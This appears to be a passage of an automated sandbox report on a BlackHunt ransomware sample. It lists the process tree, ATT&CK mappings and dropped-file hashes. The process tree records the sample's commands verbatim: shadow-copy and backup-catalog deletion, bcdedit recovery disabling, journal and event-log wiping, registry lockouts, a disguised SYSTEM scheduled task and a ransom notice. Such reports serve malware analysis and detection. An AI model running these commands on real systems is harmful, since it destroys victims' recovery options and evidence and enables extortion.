    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe" /F
  2⤵
  PID:672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1688
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1644
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1668
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2376
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1768
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1376
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1532
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2336
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1308
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1492
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4576
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:4128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3936
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:4008
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3308
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4084
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:4072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4324
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4212
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4460
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3828
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4428
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4468
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4396
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:4568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:4412
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:4616
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:4664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:4848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:4360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:4916
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4880
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:4752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:4972
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3948
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe"
  2⤵
  - Deletes itself
  PID:4184
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:4936

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2628

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1788

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2300

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
06f168b87567431b9ab581f63afbd07d

SHA1
bbae9f06c803e67693925b224f8b1a16df59624a

SHA256
c73182058b28bb2f45f94b24635b36f8a5338cc983295e24b6189fad0bb57568

SHA512
282b231f4e5d5c5de17d2706e07284e2705907554573cf3f247b16d8793c62b2c5b7ea8f29ef89553ceebb2b17342f60a72545d88fa24d107c8782909e3a5163

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
995e5578d97662dc8c9df31dd2f20de2

SHA1
e3c86705878d753a1ed08c3edc6a8b3cdf3260fb

SHA256
198e2e58a7c98c73381efc20f03134848954e385082353fc341c8664bcd09ef4

SHA512
0c413a36b0fc1c0a4c07d198e75ecf9ef26c530c2ca9fe097d5aff90e70a7153f4a2393459d87c36717e4d6d189ef26cec1f85348a146e921c63e56b20ae3184

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
bc5082ca0e4bd3b939fe12d69b790afd

SHA1
0d108a716e653f25f6e9f766657fdacfc47c3711

SHA256
c5f26256794be412c48cb5f276270894272395d5f3b4de63fa19ebb7fda642b7

SHA512
a72d26ee201d9435496bb42f23c827451792405d603d49da3bee1a03430c63964c152fb2e56cbd0472eda90029d502e677a4af44bbe5c853a896c0cb3803a0c6

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads